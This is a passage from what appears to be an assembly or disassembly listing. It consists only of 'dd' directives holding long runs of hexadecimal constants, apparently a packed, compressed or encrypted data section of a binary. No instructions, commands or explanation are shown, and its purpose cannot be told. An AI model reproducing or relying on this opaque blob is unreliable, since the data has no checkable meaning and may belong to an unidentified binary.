0E01E4959h, 0E11E66C9h, 22526843h dd 0A43016E2h, 2230B837h, 2B90068Fh, 9E158D4Ah, 10E889E5h dd 479AECEh, 0C10299EFh, 0DF5BC09Eh, 5F12A32Bh, 5222870Fh dd 54E4E9h, 0FCE75B76h, 35F4BBC2h, 7528F20Eh, 15ABE0B7h dd 1869B573h, 310FE97Dh, 0CF4DCD80h, 84238B0Ch, 50041924h dd 60CF98F5h, 64FD8B77h, 0AC936122h, 1009CC31h, 79BD3100h dd 43721D4Ah, 61C5C057h, 59598134h, 509F46E1h, 0A0502F4Ch dd 0AB9F048h, 56E72521h, 0CAED481Ah, 0B6873D3Eh, 0DFF76FE9h dd 0EBD92D8h, 881F1691h, 0DD341B28h, 0EFDB1820h, 0BD9F56C3h dd 0E2811980h, 0BBA9E80Bh, 0C8441B09h, 50031165h, 5AAD24Ah dd 7B8B8C29h, 0CACDC176h, 6441DE59h, 88424E19h, 3CE3C01Ah dd 0F1019EE4h, 0BD89B8CDh, 45322691h, 88E9FA0Bh, 7AFEBC29h dd 8D098D2Ah, 0E9EF3DB5h, 0B5733957h, 0D09B7C12h, 3CFEDF3Bh dd 0B52082B8h, 0E95711A3h, 83AB070Eh, 8F9035D5h, 5935A2Ch dd 1CD3F37Dh, 95EB0760h, 23910981h, 8B998D0Dh, 37089DF3h dd 25B5BAF9h, 6A0431BDh, 0C868CE6Ah, 0E57EC01Dh, 98007818h dd 0D3E49FC7h, 28156FFh, 87AADECFh, 4F925A6Dh, 1B11BD1Dh dd 0A9E3FD80h, 0F008E84h, 2DBFB9CAh, 480216ABh, 1880EDE8h dd 52EFCCD4h, 0C88A480Bh, 6585895Ah, 671BE416h, 1E4A88C0h dd 483D01C9h, 9D896015h, 26F62969h, 0F06A2886h, 610BF522h dd 42B18D33h, 0C439E753h, 0D9217FD9h, 666E057Bh, 83FBF6B9h dd 8C900A26h, 0ABB90913h, 80D88B80h, 0C653C7E1h, 19281544h dd 74890339h, 0EC50433Ah, 21212006h, 1AA8AAF7h, 42B6B575h dd 93046017h, 9B1413F5h, 74146110h, 6AF18A13h, 230B36C4h dd 5F0068E8h, 0DAA3393Fh, 0EC973480h, 71AD74F4h, 594FB50Ch dd 0A965B450h, 85286AB1h, 8AC7E90Dh, 45B0550h, 0F30B9DC6h dd 3014E21Eh, 43B46A41h, 18154674h, 0D29AF23Ch, 48D14E93h dd 8BBE04E9h, 9534BBFh, 0CF792F74h, 0B85414CAh, 367C8C1Ah dd 9DCC2200h, 0BD010A32h, 0C872EB35h, 0A229D51Dh, 46569596h dd 0EAB31815h, 0C4BCC2C8h, 0F5551h, 0E9C3DD80h, 1ECF8811h dd 49F7B400h, 78E6C7Bh, 547F0AEh, 0C0E4BECDh, 2C0E99B0h dd 20DC8FF9h, 477EC701h, 0F0520027h, 382C95A3h, 110B0AA5h dd 8B8F8A7Ah, 5A66A599h, 0B0512D98h, 0FC0144F5h, 96045949h dd 6E00D86Fh, 80D972D5h, 0A858E974h, 14B91071h, 18402C76h dd 65E63CB0h, 344A70C7h, 0D6804631h, 1748B9C8h, 2C0E130Fh dd 2B893C72h, 800DA870h, 17C38C3Dh, 4E94830Fh, 0C726FD6h dd 0A85356BFh, 59D9A85Dh, 4256B65Fh, 36A4983Dh, 0B99A355Eh dd 66B8B5C1h, 0BD8048E9h, 1609725Eh, 982EE657h, 8A600141h dd 499D8BC1h, 38093516h, 0CF29D40Eh, 0A11940A6h, 0EEAA57h dd 374B50F8h, 0C72D6C70h, 9CBDA02h, 7914FDB5h, 8B28924h dd 0C688C39Fh, 0C621FC0Bh, 9DC0720Bh, 801A6F2Dh, 407CEDEAh dd 822CCD8Ch, 2E150779h, 920B3F80h, 322102F5h, 88192F21h dd 0A0B6D3Eh, 8EE113E9h, 6BEE36B1h, 82835D10h, 8E0C018Dh dd 5622D037h, 65803BB1h, 52FFC2D8h, 118BCB8h, 88A170A2h dd 1CF42E1h, 1DD9B759h, 0DD3E4318h, 0E6E480C8h, 9C02C26Dh dd 885A4A56h, 861D7F1Ah, 2C0053A3h, 0EC1B4CEAh, 47AE03F8h dd 0E024D817h, 0F231E9E0h, 31CFF71h, 49254595h, 0FE4FF87Ch dd 7E07DDC4h, 0B907DD10h, 110AB502h, 23661005h, 17C28BDh dd 28B528CEh, 0DC5E9C64h, 8248677Dh, 300D110Ch, 0FC5CF622h dd 0E1B53BFEh, 0F52585A5h, 0A113AF39h, 1DBAD11Eh, 4FB900F7h dd 8AF0C72h, 0E8693AE9h, 0FBD663A0h, 0B4044100h, 7FECF0D5h dd 2098B88Fh, 5F620A65h, 0BF32D64h, 0B70B14ECh, 842940D2h dd 45132118h, 26701396h, 0F8192A41h, 0D14C346Ah, 105E7028h dd 484F12D4h, 6DA82D27h, 2318074Eh, 2E8C66FBh, 20F1F6DBh dd 190267C4h, 0E0D564C6h, 68485651h, 9C627678h, 9031F95Eh dd 993AC394h, 46A0B31h, 1D10DB04h, 0EE8164DBh, 89045B8h dd 6804472Dh, 0EC18AC9Bh, 0F0602479h, 4F071EA4h, 2F266168h dd 0A19D1EB8h, 8C5A1FCFh, 2823C07Dh, 8518C256h, 759875C0h dd 980A6841h, 2ADB8764h, 0A9D021D3h, 0A4684C60h, 0AD80E4E7h dd 21F12420h, 5B123F88h, 952C8204h, 151554AEh, 8903C785h dd 0C43D8E6h, 260F026Ch, 0B930587Dh, 0FFEE26C9h, 53430283h dd 8CB51334h, 6D0A4C89h, 9768450Fh, 492A584h, 9A390D2Dh dd 0B00C0267h, 0A632752Eh, 0A1C0DA66h, 0C234E35h, 344DBD2Ch dd 66C3AF28h, 9297CA8Bh, 59810779h, 0FCAB2986h, 25F9BD09h dd 21A97C3Ah, 0D632A415h, 90AFEE4h, 6E35FF64h, 0CFB9660Fh dd 25896518h, 0CE8B0B04h, 85619CC3h, 883B7CCCh, 0D5258D89h dd 9D9BA221h, 4BA50933h, 59134428h, 0BD800116h, 0CB69FBA9h dd 61630251h, 0F50D0130h, 0FD27DE9h, 0A0EDE182h, 3361FC9Ch dd 0C47CA5DBh, 99786017h, 0A80ECD5h, 0C0333ECDh, 40FE00BCh dd 0B073F0Fh, 58F6414h, 0C483187Fh, 4CEAC14Ch, 0D1403D72h dd 0F31965F9h, 84F781FBh, 0E680102Ah, 15E912DBh, 0B27FE301h dd 0CEA2301Ah, 0F0943501h, 67E92A15h, 0F8CE202Eh, 24064C8Bh dd 0A481C70Ch, 3FF671Bh, 15B8A683h, 0C3E00462h, 0C89858Bh dd 6C01F484h, 0A8ED815Dh, 518B2F24h, 3B411B83h, 89022A7Bh dd 4F5D0CA6h, 8147605Dh, 26599589h, 0D99D0300h, 610C0864h dd 100024A2h, 12F24723h, 0DA068105h, 0A3F1122h, 299E206Ah dd 465E2E9Ch, 66EA001Ch, 1AD31195h, 0B0C7E439h, 2A9208Fh dd 12695048h, 7475DD64h, 0C34EC8h, 0AC6A75FDh, 5A930976h dd 3C45900Fh, 0F32562E6h, 0A0864E1Bh, 8127D144h, 0A262B9h dd 55D704B8h, 2640548h, 0BB0DF781h, 0E040D465h, 0B62540BAh dd 0E801C034h, 0ED0CCE5Fh, 5868FBE0h, 7526564Dh, 2508870Ah dd 53011117h, 0FFAC9F46h, 0E3912016h, 367117E9h, 4FD98DF0h dd 10606A0Dh, 0D584043Dh, 0A213210Fh, 0E120900Bh, 23189EB4h dd 0C4025F6h, 653795F5h, 17948201h, 0DC20AB3Fh, 0E9C2C5F9h dd 89995B47h, 392E3180h, 5BE130E6h, 78458001h, 3706563h dd 6E6F6974h, 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch dd 20202CE6h, 0EB747963h, 6857C7CFh, 8F738FDFh, 0AC778F66h dd 0F8641272h, 0FA6CFC76h, 73EDF370h, 0D16977ECh, 76661D34h dd 1CC6266Ch, 0C767676Eh, 752E7340h, 0D733C754h, 0D779D76Bh dd 0D0AB375h, 1A6047Fh, 80702833h, 436E0373h, 2B4C5254h dd 94EBFDAFh, 79466978h, 187A646Dh, 707B15D3h, 6C1E0879h dd 0F1625F69h, 442964DAh, 56420D36h, 0FDA609DFh, 0E725FD3Dh dd 0E8431E30h, 54496B63h, 8E640F4Eh, 54554F11h, 6F7250C3h dd 0F1D10FDh, 0F8C3BB6h, 0B60DF382h, 420F0E3Dh, 5054DE1Eh dd 1E18688Eh, 0BD05D8EAh, 9B8C1F91h, 2001412Dh, 9C48CB7Dh dd 0E50328Fh, 78EA1235h, 0DB95CCC0h, 1321F2F9h, 1942AB2Bh dd 13078B1Dh, 4916284Ah, 773CB024h, 115C84CBh, 88254284h dd 1A5B7121h, 0A8712DC8h, 7135C81Ah, 31C81AC6h, 0C81AAF71h dd 1AB77125h, 0BE7129C8h, 840C910Ah, 0E9050791h, 0BD1288A2h dd 3A325D24h, 0D449565h, 8521339Dh, 69831511h, 814B0B25h dd 0B32BF8C2h, 8D2F7CE4h, 52251095h, 4028C134h, 703BD4C3h dd 75DBA102h, 4022B566h dd 9D8B2255h, 4CC313A2h, 65A63AF0h, 5042118Ch, 54E42121h dd 421E2D22h, 0E4312158h, 2A25225Ch, 0DEA53DCh, 6845AFB4h dd 5A26CD05h, 2129430Ch, 0C8319025h, 3221642Dh, 120A2A1Dh dd 4F1C6217h, 22DD0790h, 643A841h, 130F5835h, 406A240Ch dd 19A53924h, 0C2B8BBA5h, 82475901h, 18EBC18Bh, 0E9429BCDh dd 4AF6580Bh, 653C1C60h, 2EE33B38h, 64C26180h, 0A0E63404h dd 14C8605Fh, 0ABF61008h, 24614F46h, 83F8E9C3h, 1BB58B21h dd 818E1C2Fh, 18F01BE6h, 0E833C664h, 8113B5B9h, 3B19D0C6h dd 39C31FB5h, 76E9860Fh, 0D8203C51h, 0CFB022B9h, 8C66506Fh dd 324C804h, 1B84C00Ah, 0DDAD2A1Fh, 858B2090h, 86024D91h dd 42DB0A18h, 0E670B3Fh, 48C3DA2h, 8ACFC624h, 50195877h dd 0FFF5E108h, 10FB107h, 70FEF14Ch, 1C25C0DEh, 6606A353h dd 15FCDB89h, 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h dd 0CBEF8353h, 1A03E380h, 4B3884C3h, 0C79A7617h, 0D95D320h dd 0D1E6448Bh, 89C54898h, 18E306ABh, 0A5E924C7h, 1230CCDh dd 0A25BBDCAh, 6042A364h, 0EA493E80h, 0A1BB1031h, 763A07B7h dd 29B101B0h, 0AC001D79h, 0C302C88Ah, 9D1E432h, 0D20BAACBh dd 4A8611F9h, 45D6C90Ah, 0C423A8E5h, 71011D4h, 57D48B52h dd 33087A30h, 21E950C0h, 3F8038AAh, 5F158D56h, 530DBC5Ah dd 0C8325651h, 1051E9DBh, 0D1D8E84Eh, 0C381D301h, 37465ABCh dd 32FAB0BCh, 0E8970B49h, 5EC38B20h, 535B7459h, 234A7B60h dd 0EA2BAC96h, 0C044772Ah, 0DFE4E708h, 0D80F0335h, 3C2904A8h dd 0C093D429h, 7E890B12h, 348F6058h, 8221C485h, 687BC64h dd 8983C8BDh, 5F23E938h, 8B1F313Fh, 1705F840h, 9B46F30Ah dd 14482189h, 46FA3C67h, 8FD91EB2h, 0AE219230h, 69A287E9h dd 487690DFh, 7A004D72h, 0CAB2B80Ch, 9397A945h, 300681CBh dd 2C8D1C8h, 0FF73B46h, 8D92F182h, 2F08EA05h, 284C6528h dd 5609282Eh, 13085351h, 0C4A092Ch, 2D3C6730h, 100AC9A1h dd 2349804h, 0C1D83213h, 1C4208C3h, 1C8167BAh, 445E595Bh dd 4C980437h, 5E352231h, 742ABEA4h, 2D75210Ch, 0F1C49C10h dd 0E860040Eh, 0E4BE6789h, 4C20BE01h, 0D8D4F249h, 1900E3ADh dd 66980FACh, 4B94D981h, 0AC1BC44Fh, 64F61626h, 61D3FE04h dd 0EE287E3h, 5826F31Ah, 0C985040Eh, 0E073F5D3h, 0A42F9A8h dd 8A0FD048h, 0C580011Fh, 0B244B1A9h, 64E9CAF4h, 893618E0h dd 6A0C56ADh, 0C29A5D54h, 1421552Dh, 231B45EDh, 596800A3h dd 9F32B04Ch, 0BA661FB9h, 4AC2D290h, 81C152D5h, 8C5E9261h dd 0EDB9E1DFh, 0C7F7F029h, 3460044Dh, 61AD31AAh, 774A2FB8h dd 4585BFDCh, 0FA72830Eh, 6177E9D1h, 92D29467h, 53BF3A13h dd 8032DB83h, 1455F37Fh, 47741C06h, 0A260D70Dh, 0A7D90009h dd 89D4C335h, 61D528E3h, 342B2EF6h, 0BE6683BBh, 1CF91938h dd 299E4124h, 0C84869CFh, 0E44E8005h, 52F00750h, 1604EFA1h dd 0B9031638h, 3E48845Ah, 1A2369h, 0FE3A0AE4h, 5D041912h dd 0D178D3BEh, 0F13BB87h, 5DC6B5BFh, 0C48B0202h, 0EB01CDF5h dd 1CDD3240h, 0A28D524Eh, 5A47A6A0h, 4C58665Eh, 33BED05Bh dd 1D3FA774h, 0C8B79361h, 7120E105h, 0E99BEA16h, 0CAFA3881h dd 0B8A9126h, 8B000248h, 93C981C2h, 32160675h, 2E20B861h dd 0E0B2E7FFh, 5B88BA57h, 0F813010h, 11040B6h, 0B022C8FEh dd 21251EBh, 53886C5Fh, 3016A2E4h, 8F657835h, 2EDD0A6h dd 0E83107B8h, 61CF427Ah, 0ABF06E26h, 0D3020E9Eh, 0F896D8C9h dd 0DE1D62A8h, 9D03DCD2h, 487FCF43h, 0B8D3A0C7h, 0DABD9BE4h dd 0E5944D3h, 0E02D20Bh, 0FEE81DC1h, 60752408h, 0CB82BFEh dd 1840DE03h, 91530F0Dh, 6F2C1088h, 0DD9F0B98h, 21F8C00h dd 0AA5AED17h, 0C86569D3h, 1911701Dh, 5E802380h, 948E2DEh dd 9FBE0B5Fh, 0D1EA093Eh, 59F18937h, 0A8C2CB05h, 0C0888E7Ah dd 0D531D0B5h, 6C1FC2Bh, 6DB26059h, 2524E861h, 9A68A5Ah dd 6692C60h, 79207B7h, 0F0A9F1A2h, 3B6FF4B9h, 71C8705Eh dd 29D1006Eh, 4D6B3A19h, 0B985EE9h, 0B87A96h, 1EA6F081h dd 2F5A4628h, 7764870Fh, 0D3A3CE00h, 1C8B4874h, 0DEBBA011h dd 0A997E7Ah, 0A455CDEBh, 0E7BF07C6h, 54F3E0A1h, 437A3FD4h dd 0AA29B81Eh, 0E451C380h, 308B0158h, 271A53F7h, 4048FDAh dd 4DE1BF11h, 8D0F7C81h, 81C7202Eh, 5E7421D8h, 0EF9FEA06h dd 0BAA4DD2h, 55B0F790h, 29B7E05h, 0A684FA0Ch, 8575DF58h dd 9B806EB9h, 0C8163D46h, 5404A025h, 7611C092h, 623C5522h dd 0E20023F4h, 0B1E9F219h, 0F0E51Fh, 0CB359F14h, 4BDB1B09h dd 3B9CB203h, 78A63CC6h, 0EA20040h, 391272C9h, 0D0607CD3h dd 0E957BA28h, 9F150247h, 0A5B954C8h, 1E1A3880h, 8130303Eh dd 27112038h, 0C7EAF8h, 4223D625h, 0B8E6FB22h, 8AB3AB00h dd 98F00FB2h, 0B7C7002Ah, 36687ED0h, 0DD00FD23h, 5EAE4386h dd 50EA4EEh, 3B9ACAC7h, 0D7440D5Bh, 2D21D851h, 6031E260h dd 60AD2FAFh, 0BB39803Dh, 0D01FCB1Bh, 690CB44Bh, 0F4C71852h dd 0F7A140A3h, 3B9D1F10h, 0E4A62300h, 3D22015Ch, 0EFC95014h dd 0D2F98694h, 0E53E1E30h, 0B38B0C39h, 1F0DB010h, 7011F4C3h dd 2A5DAF3h, 0CC92B552h, 99060437h, 3B10381Fh, 18E14726h dd 40802CD5h, 0C33FD94h, 10164005h, 800983F4h, 0C5ED8026h dd 64F3D425h, 2117298Ah, 0D71281E4h, 0F5101927h, 53E696h dd 7B3774CCh, 0B789B95Ah, 0D9922A0Fh, 0F85CDAh, 83B15D18h dd 3457201h, 7C3EF3D0h, 0CAB0A21Dh, 0D8E396F0h, 0B500E6F2h dd 3E490720h, 743D87h, 6371D0B8h, 7F8DFD9Fh, 26413C05h dd 0BBC1A9D3h, 0F18183DAh, 0E0F0A3D4h, 5028808Dh, 402D38E5h dd 657D0027h, 79162C47h, 0BC01493Fh, 45ED044h, 3D6CF3EBh dd 78B63018h, 3674F57Fh, 0FAA92900h, 2A17E979h, 0F6ACA89Fh dd 51266E3Eh, 2003FFEh, 4E8A92Bh, 3B010D9Bh, 0CCC758BDh dd 87078472h, 16A19EB7h, 0FC48B629h, 1E3004F4h, 39FCD12Fh dd 9B77E6h, 734941D7h, 0D227962Eh, 5C0003E6h, 80FDCDDFh dd 245089h, 15C9C136h, 0F5201976h, 35AC7F07h, 3210CC3Ah dd 5CB47906h, 0DE006482h, 126C2921h, 0A301C06Fh, 871E4854h dd 95FC5A42h, 0D6A53E7Fh, 3F62D09Dh, 0CC08017Dh, 0DBC84FBAh dd 5A8ED4D8h, 0ACD03C00h, 78ECC9B1h, 21AE60BBh, 90A8D592h dd 3FA15600h, 0D9E093BAh, 4F750031h, 3AC347CCh, 6405EE80h dd 3CF852E6h, 34AA000h, 0B57D74h, 9BF58784h, 527FD06Ch dd 80503A3Dh, 40B1B93Fh, 6347EFh, 8876FF5Bh, 0BB49E9F3h dd 5F1E310Ah, 0D601C49Bh, 0AAE33954h, 0FC9774h, 45F6963Dh dd 95CD6672h, 247BA000h, 6EA15BCCh, 0AE44003Fh, 82319401h dd 0E500E24Fh, 0CAB45F14h, 28266DDAh, 78D8B7ACh, 5DD20905h dd 2C00B244h, 2CF7C714h, 87B2B00h, 1ED76DE6h, 1FED00B8h dd 0F8ABE175h, 0B600AF0Ah, 7C1624Dh, 3F648CDCh, 0F400D647h dd 9CA9D76Ch, 750020DEh, 2E05F7F6h, 305D4E09h, 3420F53Ah dd 0D8EC8378h, 0B5284160h, 0EACFB10Ch, 4890044h, 8D66C721h dd 78003D56h, 0D5B65E8Eh, 0C068F7h, 0F3D1D29Fh, 3B7B50E4h dd 5B5C9201h, 1F7020C7h, 0F3A18C20h, 0B042D0h, 7F2E8EA8h dd 11DC654Eh, 0E1809350h, 83FF2D00h, 0BC799592h, 0FC4E617h dd 1954EBEEh, 0EAA2F940h, 6A90CA49h, 0BDE0BC00h, 0FFFE9B2Ch dd 0C7171F98h, 0D4CFC02h dd 31594A07h, 1F72066h, 3E602A3Dh, 0A25F4BF8h, 585500FBh dd 50273610h, 0D1060B92h, 7B4FBC56h, 0B22D0050h, 39DF8084h dd 3E00BA50h, 0DD210C75h, 7656D46h, 52872DD5h, 9CE47606h dd 0C9C57118h, 0EEFDFB31h, 578C00C2h, 0F225329Fh, 153DE21Ah dd 4DDB8078h, 0D61B0780h, 5D110761h, 20FCB254h, 46BA66A8h dd 0BB80C00h, 0B77378EDh, 0CFAB079Bh, 0DFD42A06h, 0A034CD60h dd 5A39F329h, 0E98583DBh, 0F84705C2h, 309FFF44h, 29326D91h dd 12006561h, 0B77DBDF6h, 0E38C22h, 4AEE2D2h, 0ECEB71FCh dd 0AD3FD18h, 3994318h, 0A2F8501Ah, 67F7B160h, 0B0C4F0CDh dd 2A00A57Ah, 28F1C361h, 1FC03C58h, 80F34A70h, 9D90BC83h dd 6C00B788h, 70BD8AEh, 0F82AD447h, 6B4A008Ah, 4494C8DFh dd 5800634Dh, 0FA9FAD1Dh, 0DDB268h, 0E1AEC1AFh, 0F0E0DB0Eh dd 0C3EE2303h, 501F82C8h, 7936EF29h, 7049074Ah, 1072B96Ch dd 9AEC6DEFh, 0D6C09400h, 0E08DD8DDh, 0B8CD0009h, 0C7D9A30Ch dd 0AC035DF9h, 9A4A4C57h, 0D7F0A008h, 0D1E300F2h, 52023969h dd 0EB002945h, 97D2B7Ch, 13946B2Dh, 0B9D558h, 0D645AA72h dd 56008F4Ch, 7AEDE1A6h, 77CC7C7Eh, 0D3600B6Eh, 782751D1h dd 0C4773097h, 802C0DFDh, 888208AFh, 420BDE6Bh, 0E00E8FD4h dd 1846E553h, 7389854h, 0A081722h, 52F04071h, 1100DD77h dd 0AD736151h, 77222DEh, 0B6437FB9h, 644500C0h, 0B0B237F7h dd 700B3F2h, 98866A41h, 7941A8Dh, 0E050A373h, 6D005E82h dd 34D00B4Dh, 354FD400h, 0E923566Ah, 7337E1Eh, 0C14548A0h dd 519B27CFh, 824F1D70h, 7A265798h, 258BCFFh, 511242F7h dd 64C0A8E1h, 0E8E16865h, 5600E648h, 9EDF6E95h, 1E0C43h dd 363AD826h, 0D69C910Bh, 80A34115h, 6BF10094h, 0F9C0724Dh dd 4F1E399Eh, 0E300BC49h, 7E31BAC4h, 0E207B40Fh, 27AC8984h dd 3BDED430h, 4A800E5h, 39FAB309h, 0F504029Ah, 2B6E90AAh dd 68CFE880h, 21A72A07h, 25B0D4h, 2BF6C7E2h, 83B56322h dd 465B0A05h, 0CD0FB7Dh, 0E42754h, 7A3DC6C9h, 2D3BA923h dd 0D4981A17h, 774A900h, 262E5D0h, 0F9B411CAh, 74E86131h dd 17ABA25h, 81A0CC3Ah, 7E98EA3Bh, 808F2013h, 6B0EDA39h dd 0D9BB8181h, 318051B4h, 0B6204029h, 0F91D54B0h, 1500A0B3h dd 14B93AD5h, 0B423053Bh, 0D8BC41h, 3FDA701Ch, 4A7E94D7h dd 0FA30DC98h, 0F89E38B1h, 149298h, 6A30396Ch, 60418495h dd 0EB65B007h, 9E505BADh, 0A59CCBh, 2AC0A03Bh, 29BA8825h dd 23209F54h, 1D6738C3h, 81F6E28Eh, 49EE950Ch, 5CCAC53h dd 23272C38h, 0CACCC05Ch, 0D800EB4Ch, 8AB39F11h, 6099DCB1h dd 0B205310Fh, 410F5488h, 238C903Ah, 0E850B8C0h, 59F21BE6h dd 0AB00D815h, 54AE66B1h, 333EE406h, 34A71F17h, 0C2D849F0h dd 0D4B714A0h, 28CC027h, 0A2097A48h, 8029083Bh, 2444E85Dh dd 0A0EA034Ch, 3D45F275h, 73E56803h, 0C952DA7h, 5327C750h dd 20F2508h, 8047C5D7h, 0E926C803h, 5460C29Fh, 8081ADDEh dd 87E3457Eh, 7C4499E0h, 0C9A6C750h, 4BDB00D6h, 2271A954h dd 62327D3Dh, 134829E4h, 101522D4h, 1C89DE8Eh, 7227DA10h dd 0F4AAF612h, 4ABB7B00h, 3F8A1752h, 1A00020Eh, 2130B869h dd 330038CFh, 0FFEDC494h, 39A1017h, 0CBAAE611h, 75D8F862h dd 7D009935h, 375BB3ABh, 5820DFh, 0FBC0CFE3h, 732E2FA0h dd 31AF3C02h, 60EF7E0Dh, 4C117F5Ch, 0FA066C9Eh, 1936206Dh dd 0EE6B3F0Ah, 0F70C081Dh, 4A5229DBh, 4650004Ch, 576DE5DCh dd 41F5ED00h, 54D4DF96h, 0CE7A006Fh, 49D8B64Ch, 46077D16h dd 9A5F0E8Fh, 0B72AD20h, 0B10319CBh, 0FC63C0EDh, 0B400180Ch dd 0AD589EC4h, 0EB5157Eh, 0E0806D67h, 0B792B320h, 241FE1D0h dd 9EC0700Ch, 0A3EF8C3Eh, 307AB6h, 5D4CD250h, 0BEB280BDh dd 0A4AD9C24h, 748F1C80h, 7EA4F24h, 88FE7184h, 4CAB0146h dd 515BECD7h, 6C5EA900h, 0B26B2F68h, 37EB3C36h, 8A0FC281h dd 0C8A05C94h, 0C6046544h, 51C1BD69h, 0BBA398C0h, 2C16010Eh dd 6F66B53Bh, 9D8C407Ch, 2A05600Ch, 0EEE5913Dh, 1B0FA000h dd 7652C65Eh, 23623E3Ah, 99000F2h, 0E32FFD13h, 0E875E4ECh dd 94A75A00h, 34CEDFD2h, 0AF0900E1h, 8EAB5D7Bh, 849039C8h dd 713DD61Eh, 0CA6ACD81h, 0C440BBE2h, 18F9B1D7h, 11B9E36Fh dd 3A002DA8h, 51D88748h, 727CEAh, 0E1EE4065h, 436EA3F2h dd 24F289FEh, 0F09F3C28h, 4FF07A00h, 0B2A5250Ch, 611D02F2h dd 9F6A4B6Fh, 4CE0FCE2h, 0E730BD6Dh, 0EEA669B8h, 0BC8118EFh dd 0DECB21A9h, 46F79506h, 50CA666Eh, 2C96A040h, 1B4769Fh dd 877D23B8h, 4B2C2405h, 6C83380Eh, 9484C0EFh, 7925D1DFh dd 41EE0771h, 80933E53h, 3C023807h, 4F0C7200h, 0E5807730h dd 8C3A5040h, 39F4C9h, 0EFAC630Eh, 9B723421h, 0C7422F1Fh dd 9212BF80h, 76F86880h, 3C2B0326h, 0DFB7C5ADh, 0B58971C8h dd 9A1D9207h, 0D40D5C1h, 90A95641h, 365F00A8h, 138C57D8h dd 0CA014F83h, 1B77E8D2h, 3DF47594h, 94204862h, 0FEF68200h dd 0A24E21FAh, 0BA2E5E00h, 6AD143B6h, 8FF0084h, 40B7A3D7h dd 54602966h, 2C3B5A39h, 9C0D00F6h, 71B5F211h, 0AD33C885h dd 0D0C72070h, 0CFB0C626h, 0A3E06A11h, 0AFB56599h, 1B873EDCh dd 5B8091D1h, 140BF7h, 17782607h, 7A7E6EFBh, 3803C87Dh dd 0CB74C5C3h, 892EA8BDh, 6034596Ch, 3A089507h, 8A9C901Fh dd 0F2007B0Ah, 8F45BED8h, 0D5AEA8h, 0C65FFBD1h, 4BD06559h dd 0FAB8F500h, 290538D7h, 570700A5h, 905DB65Eh, 0D22C3CD8h dd 39D426h, 2C7A38Ch, 221E28h, 5E31EAAFh, 19A0AA4Ah, 0D0BA3E00h dd 7A3653DFh, 7FB60055h, 2A859ED5h, 3496B73Ah, 0DE6C4704h dd 0BF773091h, 0C576E4h, 657445EFh, 7A526342h, 0DE004C7Bh dd 78A9D9B3h, 0F030507h, 423CBB98h, 648F0AE2h, 93613840h dd 9CE65B01h, 0A8DCF692h, 9D9AAC40h, 0E11D00D7h, 8C09C1AFh dd 30C3630Dh, 0E78628E2h, 0C829D943h, 546EFEh, 1C07A91Bh dd 3003ACD5h, 0C8645101h, 9BC02A57h, 7055C084h, 2D971E25h dd 74A05700h, 4CC7F9E5h, 0E000C5Bh, 0C3BE4B55h, 35339A9Fh dd 0A04DF10Ch, 241772h, 33C0C2E5h, 0FDB7102Bh, 6760B600h dd 51340A8Dh, 0ADA0077Eh, 0ACD306h, 4D119F33h, 9E71617Ah dd 357E9701h, 0FA240EC8h, 54F3C850h, 0EBF4095Ah, 0FC204158h dd 834F804Bh, 0BC73D678h, 4000CA73h, 13AFC03Fh, 1AB45h dd 747062D1h, 11BE7191h, 0F1C1E200h, 819CDFD5h, 65AA00CDh dd 2CE3D76Eh, 5748DD69h, 58007B18h, 0A6BC4E49h, 521B9Ch dd 1E0D7025h, 59C9C3DAh, 6E21C414h, 0E6D300C0h, 0B0A45E11h dd 6674309Ah, 0DB01B950h, 6D0060EEh, 0FC7AA7ADh, 0FA181Ah dd 0B5F3DF2Dh, 9D314764h, 81FFB03Dh, 0C7FCCC06h, 28E8244Ch dd 0E7BC1EBFh, 85088FA4h, 0C2B40072h, 8AA8F039h, 3C66BB00h dd 1504C950h, 0B45A005Eh, 96586D01h, 0FD00FB88h, 3AE5D894h dd 9FA302h, 0F8C89CE4h, 0DCAFBFB3h, 0D5A12807h, 0AC0AA90h dd 3BDBE80Bh, 1280D972h, 68B05C5Ah, 0D8986D42h, 80852500h dd 891C8A18h, 60C10BD2h, 480066A3h, 71E4C301h, 947B7200h dd 399CA9A7h, 0FC96E697h, 1DD824E3h, 0A369000Ch, 40780B85h dd 47B4D700h, 0D9A2AC77h, 92FC0FCAh, 4C4056A9h, 2B1CC5Ah dd 0FD1CCF70h, 50CFA336h, 0A2CA405Dh, 1F318293h, 0D07802CCh dd 50E70025h dd 96EE0A5Eh, 0F24006Bh, 2C70F54Ah, 0E879A178h, 0D6ECE005h dd 0CC1F42A7h, 0EDFE3D80h, 578071Ah, 38392295h, 4618806Bh dd 0D4094574h, 0BA3D8h, 517AC2CEh, 0BBB2005Eh, 62A5E090h dd 0E3E4414Bh, 0C727C312h, 5F7E9804h, 49CF4241h, 48EAD853h dd 4CE4613h, 9C0990C0h, 0FA2127Eh, 0C90C80A0h, 1B126C52h dd 68416A68h, 0FF22ADC7h, 0BB5C064h, 217BC40h, 635368A0h dd 0A406CCB3h, 3AFDABF4h, 0DB042549h, 0E402097h, 96ADF4B4h dd 0FFFA8950h, 90BDB048h, 1B6033Ch, 1D69F954h, 51D69F93h dd 4A9B08C0h, 0C707A044h, 41224788h, 29F21C5Ah, 529E0CD0h dd 71F3999h, 23E14164h, 4D6C415Ch, 9F11DCFBh, 0E4042105h dd 2C019C1Bh, 31BA98C6h, 0C19A99E0h, 57217141h, 3C885034h dd 9F001EFDh, 0EF1DBA38h, 7337BC9Bh, 8C3501Fh, 392C9629h dd 1D66C3C2h, 19F5E28Fh, 88800CEFh, 9380D1CFh, 993B0F22h dd 19A0F6C6h, 5E9D58A5h, 71520400h, 0ED9B3668h, 3EB13C8h dd 31944013h, 27868CFFh, 0A2C77207h, 0EF27B64Bh, 0D70E58B0h dd 2FDA0105h, 51414EC8h, 6B7AD4B1h, 8022D93Bh, 154BF4Fh dd 0E6711561h, 7855006Eh, 6AAB4D8Ch, 30C010B9h, 9C622744h dd 9EC1DF3h, 0A89D0369h, 0E1D880C1h, 3D001565h, 902B5BE5h dd 38F67E3h, 6D05CA97h, 0FE00AB1Dh, 29C7ADBh, 0EB408h dd 81EB972Ah, 56E37D71h, 3F580F00h, 0E89F5B64h, 0A12C0055h dd 118DFC80h, 4500A9B1h, 2C179D6h, 23C40Ch, 0C801A11Ah dd 66F7A262h, 0D90058ECh, 6F3C647Dh, 5DAF274h, 0EE6D809h dd 0E2E8E215h, 0FA08FB9Ah, 18F60417h, 1045BFFDh, 775F7E10h dd 0D45B8404h, 6EE2CB1Ch, 0D79F98E0h, 44D03F40h, 0D362EF75h dd 22708E29h, 0DB22D6F3h, 4032573h, 4A7ACB28h, 